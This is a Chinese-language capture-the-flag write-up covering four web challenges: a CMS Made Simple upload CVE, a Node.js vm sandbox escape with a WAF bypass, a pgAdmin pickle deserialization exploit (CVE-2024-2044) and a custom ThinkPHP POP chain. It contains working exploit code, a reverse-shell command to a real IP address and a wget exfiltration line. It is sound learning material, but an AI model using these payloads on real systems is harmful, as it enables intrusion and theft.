my first cms

cmsms有ssti文件上传,但是都要admin登录才行。
所以先弱密码admin/Admin123鬼想得到要大写啊
ssti发现smarty版本是4.2.1,没找到payload
尝试文件上传
2024-03-23T14:16:46.png
但是上传前要在后台改一下设置
不能直接上传php,重命名也不行,phtml也没被当php好像。
找到CVE-2022-23906,说是v2.2.15,但是靶机v2.2.19也成功了。
2024-03-23T14:21:47.png
2024-03-23T14:22:40.png
看wp,发现还可以直接执行代码。
2024-03-23T14:31:44.png

全世界最简单的CTF

2024-03-23T11:15:11.png
得到源码

const express = require('express');
const bodyParser = require('body-parser');
const app = express();
const fs = require("fs");
const path = require('path');
const vm = require("vm");

app
.use(bodyParser.json())
.set('views', path.join(__dirname, 'views'))
.use(express.static(path.join(__dirname, '/public')))

app.get('/', function (req, res){
    res.sendFile(__dirname + '/public/home.html');
})


function waf(code) {
    let pattern = /(process|\[.*?\]|exec|spawn|Buffer|\\|\+|concat|eval|Function)/g;
    if(code.match(pattern)){
        throw new Error("what can I say? hacker out!!");
    }
}

app.post('/', function (req, res){
        let code = req.body.code;
        let sandbox = Object.create(null);
        let context = vm.createContext(sandbox);
        try {
            waf(code)
            let result = vm.runInContext(code, context);
            console.log(result);
        } catch (e){
            console.log(e.message);
            require('./hack');
        }
})

app.get('/secret', function (req, res){
    if(process.__filename == null) {
        let content = fs.readFileSync(__filename, "utf-8");
        return res.send(content);
    } else {
        let content = fs.readFileSync(process.__filename, "utf-8");
        return res.send(content);
    }
})


app.listen(3000, ()=>{
    console.log("listen on 3000");
})

这里先自己本地搭一个进行调试
通过源码,我们可以看到除了/secret是res.send,其他路由都是console.log,也就是说,只有/secret是有回显的。
/secret有个很奇怪的判断,就是判断process.__filename是否为空,代码里并没有对其进行赋值,也就是我们要污染process.__filename为/flag,这样我们访问/secret就是/flag了。
还有一点就是我们传递的代码是在vm里运行的,也就是我们还要vm逃逸
这里参考这篇博客

throw new Proxy({}, {
    get: function() {
      const cc = arguments.callee.caller;
      const p = (cc.constructor.constructor('return process'))();
      return p.mainModule.require('child_process').execSync('whoami').toString()
    }
  })

这个能执行是因为源码里有捕捉异常的逻辑
2024-03-23T11:24:25.png
p就是我们要的process,我们直接p.__filename=/flag,先去掉waf调试,发现成功读取
加上waf,return执行命令的那句可以去掉,我们现在只剩一个process了
参考这篇博客
得到const return_Process = Reflect.get(Object.values(Reflect.get(global,Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`cmV0dXJuIHByb2Nlc3M=`,`base64`).toString();来替换return process字符串
本地发现会报global没定义,所以前面还要加上const global = (cc.constructor.constructor('return global'))();

throw new Proxy({}, {
    get: function() {
      const cc = arguments.callee.caller;
      const global = (cc.constructor.constructor('return global'))();
      const return_Process = Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`cmV0dXJuIHByb2Nlc3M=`,`base64`).toString();
      const Process = (cc.constructor.constructor(return_Process))();
      Process.__filename="/flag";
    }
  })

2024-03-23T11:36:11.png
本地成功读取,但是靶机显示没有权限
所以我们还是要执行命令
还是参考上面那篇博客,const Eval = Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')));得到eval
const script = Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCIvcmVhZGZsYWcgPjEiKQ==`,`base64`).toString();得到我们想执行的js代码
完整payload

throw new Proxy({}, {
    get: function() {
      const cc = arguments.callee.caller;
      const global = (cc.constructor.constructor('return global'))();
      const return_Process = Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`cmV0dXJuIHByb2Nlc3M=`,`base64`).toString();
      const Process = (cc.constructor.constructor(return_Process))();
      Process.__filename="1";
      const Eval = Reflect.get(global, Reflect.ownKeys(global).find(x=>x.includes('eva')));
      const script = Reflect.get(Object.values(Reflect.get(global, Reflect.ownKeys(global).find(x=>x.startsWith(`Buf`)))),1)(`Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCIvcmVhZGZsYWcgPjEiKQ==`,`base64`).toString();
      Eval(script);
    }
  })

2024-03-23T11:39:01.png

上面两篇博客都是从这篇找的

attack_tacooooo

要登录,根据hint账户是tacooooo@qq.com,猜测弱密码tacooooo,成功登录,发现是pgAdminv8.3
搜索得到CVE-2024-2044
直接下脚本

import struct
import sys

def produce_pickle_bytes(platform, cmd):
    b = b'\x80\x04\x95'
    b += struct.pack('L', 22 + len(platform) + len(cmd))
    b += b'\x8c' + struct.pack('b', len(platform)) + platform.encode()
    b += b'\x94\x8c\x06system\x94\x93\x94'
    b += b'\x8c' + struct.pack('b', len(cmd)) + cmd.encode()
    b += b'\x94\x85\x94R\x94.'
    print(b)
    return b

if __name__ == '__main__':
    # if len(sys.argv) != 2:
    #     exit(f"usage: {sys.argv[0]} ip:port")
    # with open('nt.pickle', 'wb') as f:
    #     f.write(produce_pickle_bytes('nt', f"mshta.exe http://{HOST}/"))
    with open('posix.pickle', 'wb') as f:
        f.write(produce_pickle_bytes('posix', 'busybox nc 124.221.19.214 2333 -e sh'))

2024-03-23T17:18:10.png
在存储管理器出处上传,改cookie为pga4_session=../storage/tacooooo_qq.com/posix.pickle!a
2024-03-23T17:19:17.png
在/proc/1/environ里找到flag
2024-03-23T17:20:03.png
命令也可以改成wget --post-data "$(echo RCE)" -O- 4wtv8k3o.requestrepo.com来dns外带,只是那时候找了好久没找到flag所以才考虑弹shell

用过就是熟悉

下载源码,是最新的kodboxV1.49,和github上的进行对比发现多个了think文件夹
2024-03-24T13:53:12.png
想到thinkphp,没有找到版本信息
2024-03-24T13:58:36.png
根据github上发布的thinkphp代码的变化,应该是V5.0.23左右,有反序列化漏洞
先找能反序列的点
2024-03-24T13:55:47.png
对我们的password进行了反序列化,再来看pop链,网上随便找了篇文章
2024-03-24T13:59:55.png
但是题目的代码不一样,应该是出题人魔改了,不过这句也会调用__toString,没影响
也没找到Conversion.php,但是有Collection.php,差不多
2024-03-24T14:02:47.png
toArray后面的链子就不一样了,网上的是再调用getRelation,我们这里肯定不是
2024-03-24T14:03:34.png
这里就想到__get,全局搜索,一共也没几个,找到View.php
2024-03-24T14:06:44.png
我是先找到Testone.php,提示是反序列的终点,所以最后是调用__call
2024-03-24T14:08:21.png
所以__get就可以对$this->data[$name]赋值为Testone类,调用不存在的Loginsubmit,触发__call
这里因为Testone是抽象类,所以要用它的实现类Debug序列化
2024-03-24T14:11:27.png
这就分析好了,pop链如下:
Windows#__destruct->Windows#removeFiles->Collection#__toString->Collection#toJson->Collection#toArray->View#__get->Testone#__call
接下来就是写了

<?php
//Windows#__destruct->Windows#removeFiles->Collection#__toString->Collection#toJson->Collection#toArray->View#__get->Testone#__call
namespace think;
abstract class Testone {
    public function __call($name, $arguments){
        $a = time();
        if ($arguments[0]['time']==='10086'){
            include('./app/controller/user/think/hinthinthinthinthinthinthint.php');
            file_put_contents('./app/controller/user/think/'.md5($a),$content);
        }
    }
}
class Debug extends Testone {
}
class Config{
    public function __call(string $name, array $arguments){
        var_dump($arguments[0]['name']);
        if (strpos($arguments[0]['name'],'.')){
            die('Error!');
        }else{
            file_put_contents("test.txt",$arguments[0]['name']);
            include("./".$arguments[0]['name']);
        }
    }
}
class View{
    public $data = [];
    public $engine;
    public function __get($name){
        $this->data[$name]->Loginsubmit($this->engine);
    }
}
class Collection{
    public $items = [];
    public function toArray(){
        $this->items->Loginout;
    }
    public function __toString(){
        return $this->toJson();
    }
    public function toJson($options = JSON_UNESCAPED_UNICODE){
        return json_encode($this->toArray(), $options);
    }
}
namespace think\process\pipes;
use think\Collection;
use think\Config;
use think\Debug;
use think\View;
class Windows {
    public $files = [];
    public function __destruct(){
        $this->removeFiles();
    }
    private function removeFiles(){
        foreach ($this->files as $filename) {
            $result = "File"."$filename"."can't move.";
        }
        $this->files = [];
    }
}

$payload = new Windows();
$payload->files[0]=new Collection();
$payload->files[0]->items = new View();
$payload->files[0]->items->engine['time']='10086';
$payload->files[0]->items->data['Loginout'] = new Debug();
echo base64_encode(serialize($payload));

这里为了方便调试,把关键类的部分函数也一起写进去了
2024-03-24T14:19:31.png
成功把hint.php写入,然后我们要想办法读出来
在Config.php里还有个__call可以include
2024-03-24T14:22:54.png
本地成功读出
2024-03-24T14:25:56.png
但是发包并没有
2024-03-24T14:26:47.png
应该是后面的处理代码覆盖了我们include的结果
2024-03-24T14:28:04.png
Config#__call里如果路径带.就会直接die,那么后面的处理代码就不会执行了
2024-03-24T14:29:40.png
我们看回Windows.php,触发__toString的是数组里的元素,之前我们只放了一个Collection来include,可以再放一个来die
2024-03-24T14:33:14.png
成功读到靶机的hint
靶机上要读的文件名根据之前发写文件数据包返回timeNow的MD5值得到
2024-03-24T14:37:23.png
就是说登录的密码是tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI的明文加上Chu0
2024-03-24T14:39:44.png
根据解密逻辑得到密码是!@!@!@!@NKCTFChu0
2024-03-24T14:41:19.png
成功登录
还有个hint是新建文件,在桌面的回收站还原一个新建文件.html,发现是马
2024-03-24T14:42:11.png
通过之前的pop链include这个马
2024-03-24T14:44:01.png
成功读到flag
完整payload

<?php
//Windows#__destruct->Windows#removeFiles->Collection#__toString->Collection#toJson->Collection#toArray->View#__get->Testone#__call
namespace think;
abstract class Testone {
    public function __call($name, $arguments){
        $a = time();
        if ($arguments[0]['time']==='10086'){
            include('./app/controller/user/think/hinthinthinthinthinthinthint.php');
            file_put_contents('./app/controller/user/think/'.md5($a),$content);
        }
    }
}
class Debug extends Testone {
}
class Config{
    public function __call(string $name, array $arguments){
        if (strpos($arguments[0]['name'],'.')){
            die('Error!');
        }else{
            file_put_contents("test.txt",$arguments[0]['name']);
            include("./".$arguments[0]['name']);
        }
    }
}
class View{
    public $data = [];
    public $engine;
    public function __get($name){
        $this->data[$name]->Loginsubmit($this->engine);
    }
}
class Collection{
    public $items = [];
    public function toArray(){
        $this->items->Loginout;
    }
    public function __toString(){
        return $this->toJson();
    }
    public function toJson($options = JSON_UNESCAPED_UNICODE){
        return json_encode($this->toArray(), $options);
    }
}
namespace think\process\pipes;
use think\Collection;
use think\Config;
use think\Debug;
use think\View;
class Windows {
    public $files = [];
    public function __destruct(){
        $this->removeFiles();
    }
    private function removeFiles(){
        foreach ($this->files as $filename) {
            $result = "File"."$filename"."can't move.";
        }
        $this->files = [];
    }
}


$payload = new Windows();
$payload->files[0]=new Collection();
$payload->files[0]->items = new View();
$payload->files[0]->items->engine['time']='10086';
$payload->files[0]->items->engine['name']='app/controller/user/think/e2fa6e005965fe591d95d16b33aa2552';
//$payload->files[0]->items->engine['name']='data/files/shell';
$payload->files[0]->items->data['Loginout'] = new Config();
$payload->files[1]=new Collection();
$payload->files[1]->items = new View();
$payload->files[1]->items->data['Loginout'] = new Config();
$payload->files[1]->items->engine['name']='app/../';
echo base64_encode(serialize($payload));




class Mcrypt{
    public static $defaultKey = 'a!takA:dlmcldEv,e';

    /**
     * 字符加解密,一次一密,可定时解密有效
     *
     * @param string $string 原文或者密文
     * @param string $operation 操作(encode | decode)
     * @param string $key 密钥
     * @param int $expiry 密文有效期,单位s,0 为永久有效
     * @return string 处理后的 原文或者 经过 base64_encode 处理后的密文
     */
    public static function encode($string,$key = '', $expiry = 0,$cKeySet='',$encode=true){
        if($encode){$string = rawurlencode($string);}
        $ckeyLength = 4;

        $key = md5($key ? $key : self::$defaultKey); //解密密匙
        $keya = md5(substr($key, 0, 16));         //做数据完整性验证
        $keyb = md5(substr($key, 16, 16));         //用于变化生成的密文 (初始化向量IV)
        $cKeySet = $cKeySet ? $cKeySet: md5(microtime());
        $keyc = substr($cKeySet, - $ckeyLength);
        $cryptkey = $keya . md5($keya . $keyc);
        $keyLength = strlen($cryptkey);
        $string = sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string . $keyb), 0, 16) . $string;
        $stringLength = strlen($string);

        $rndkey = array();
        for($i = 0; $i <= 255; $i++) {
            $rndkey[$i] = ord($cryptkey[$i % $keyLength]);
        }

        $box = range(0, 255);
        // 打乱密匙簿,增加随机性
        for($j = $i = 0; $i < 256; $i++) {
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp;
        }
        // 加解密,从密匙簿得出密匙进行异或,再转成字符
        $result = '';
        for($a = $j = $i = 0; $i < $stringLength; $i++) {
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp;
            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }
        $result = $keyc . str_replace('=', '', base64_encode($result));
        $result = str_replace(array('+', '/', '='),array('-', '_', '.'), $result);
        return $result;
    }

    /**
     * 字符加解密,一次一密,可定时解密有效
     *
     * @param string $string 原文或者密文
     * @param string $operation 操作(encode | decode)
     * @param string $key 密钥
     * @param int $expiry 密文有效期,单位s,0 为永久有效
     * @return string 处理后的 原文或者 经过 base64_encode 处理后的密文
     */
    public static function decode($string,$key = '',$encode=true){
        $string = str_replace(array('-', '_', '.'),array('+', '/', '='), $string);
        $ckeyLength = 4;
        $key = md5($key ? $key : self::$defaultKey); //解密密匙
        $keya = md5(substr($key, 0, 16));         //做数据完整性验证
        $keyb = md5(substr($key, 16, 16));         //用于变化生成的密文 (初始化向量IV)
        $keyc = substr($string, 0, $ckeyLength);
        $cryptkey = $keya . md5($keya . $keyc);
        $keyLength = strlen($cryptkey);
        $string = base64_decode(substr($string, $ckeyLength));
        $stringLength = strlen($string);

        $rndkey = array();
        for($i = 0; $i <= 255; $i++) {
            $rndkey[$i] = ord($cryptkey[$i % $keyLength]);
        }

        $box = range(0, 255);
        // 打乱密匙簿,增加随机性
        for($j = $i = 0; $i < 256; $i++) {
            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
            $tmp = $box[$i];
            $box[$i] = $box[$j];
            $box[$j] = $tmp;
        }
        // 加解密,从密匙簿得出密匙进行异或,再转成字符
        $result = '';
        for($a = $j = $i = 0; $i < $stringLength; $i++) {
            $a = ($a + 1) % 256;
            $j = ($j + $box[$a]) % 256;
            $tmp = $box[$a];
            $box[$a] = $box[$j];
            $box[$j] = $tmp;
            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
        }
        $theTime = intval(substr($result, 0, 10));
        $resultStr  = '';
        if (($theTime == 0 || $theTime - time() > 0)
            && substr($result, 10, 16) == substr(md5(substr($result, 26) . $keyb), 0, 16)
        ) {
            $resultStr = substr($result, 26);
            if($encode){$resultStr = rawurldecode($resultStr);}
        }
        return $resultStr;
    }
}

//$data['password']='tQhWfe944VjGY7Xh5NED6ZkGisXZ6eAeeiDWVETdF-hmuV9YJQr25bphgzthFCf1hRiPQvaI';
//$key = substr($data['password'], 0, 5) . "2&$%@(*@(djfhj1923";
//$data['password'] = Mcrypt::decode(substr($data['password'], 5), $key);
//echo $data['password'];

题目名感觉有点讽刺,用过了不等于熟悉了,thinkphp的反序列链用了好多次,第一次自己写才发现好多都不会,感觉学到不少。